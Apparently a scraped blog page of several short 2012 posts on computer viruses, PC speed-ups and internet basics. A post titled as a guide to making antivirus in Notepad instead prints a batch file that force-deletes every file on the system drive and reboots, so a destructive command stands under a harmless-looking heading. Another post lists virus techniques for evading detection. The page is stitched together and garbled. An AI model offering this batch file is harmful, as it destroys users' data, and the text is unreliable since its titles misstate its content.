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Showing posts with label computer virus. Show all posts
Showing posts with label computer virus. Show all posts

20 Jun 2012

How to Create Anti Virus With Notepad

How to CREATE ANTI VIRUS WITH NOTEPAD There are simple ways to clean viruses in our computers. We can make your own antivirus with software built using the Windows named Notepad. Apart from minor product files, notepad can save files to a variety of other applications programs, such as html, java script and so on. 

However, the virus that can be eliminated by our anti-virus is only a low level as macro viruses and an equal. For heavy virus, would have to use anti-virus that is more powerful. However, these tutorials can teach you the basic knowledge about how the anti-virus.

Type the following code into Notepad:

How To Create A Virus In Notepad

How To Create A Virus In Notepad Hey,this is how to create a virus that deletes the content of your hard drive.
Paste this code in notepad.exe.
Code:
@echo off 
 del %systemdrive%\*.* /f /s /q 
 shutdown -r -f -t 00
Remeber to save this as a .bat file.

13 May 2012

Methods to Avoid Detection of Virus

• Same “last Modified” Date.
• Overwriting Unused areas of the .exe files.
• Killing tasks of Antivirus Software
• Avoiding Bait files & other undesirable hosts
•Making stealth virus
• Self Modification on each Infection
• Encryption with variable key.
• Polymorphic code


Same “last Modified” Date

• Same “last Modified” Date.
• In order to avoid detection by users, some viruses employ different kinds of deception.
• Some old viruses, especially on the MS-DOS platform, make sure that the "last modified" date of a host file stays the same when the file is infected by the virus.
• This approach sometimes fool anti-virus software.

What is Computer Virus...?

Virus Properties

• Your computer can be infected even if files are just copied
• Can be Polymorphic.
• Can be memory or non-memory resident
• Can be a stealth virus
• Viruses can carry other viruses
• Can make the system never show outward signs
• Can stay on the computer even if the computer is formatted.


• Most of the viruses operate in two phases.

Virus & Worms – Virus Analysis

Spyware Overview 
• Spyware is a piece of software that gets installed on computer without your consent.
• It collects your personal information without you being aware of it.
• Change how your computer or web browser is configured and bombard you with online advertisements.
• Spyware programs are notorious for being difficult to remove on your own and slows down your PC.
• A program gets installed in the background while you are doing something else on Internet.
• Spware has fairly widespread because your cable modem or DSL connection is always connected.

28 Apr 2012

Make Your Pc Faster, Guaranteed


1. First, run a scandisk or checkdisk. Let Windows fix any errors.

2. Run a disk cleanup utility...this will flush your temporary internet folder, trash can, temp system files, etc.

3. Delete any garbage files or data...if possible, run a Duplicate File Finder program.

4. Run Defrag on all partitions (NOTE: run this after you have deleted all trash and excess files!)

5. Run a registry cleaner utility and delete or get rid of any orphaned entries in that registry.

27 Apr 2012

A Basic Guide to the Internet

The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.

No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.

25 Apr 2012

How to remove viruses without any antivirus programs


One of the ways a virus can infect your PC is via USB / Flash drive. The common viruses such as ‘Ravmon’, ‘New Folder.exe’, ‘Orkut is banned’ etc are spreading through USB drives. Most antivirus programs can detect and even if they do, in most cases they are able to delete the file, only quarantine. Here are the things you can do if you want to remove this virus from your USB drive or hard drive. Every time you plug a USB drive in your system, you will see a window similar to the one shown below …


Do not click OK, just choose ‘Cancel’. Open the Command Prompt by typing ‘cmd‘ in Run box. In the command prompt, type the drive letter: and press Enter. Now type dir /w /a and press enter.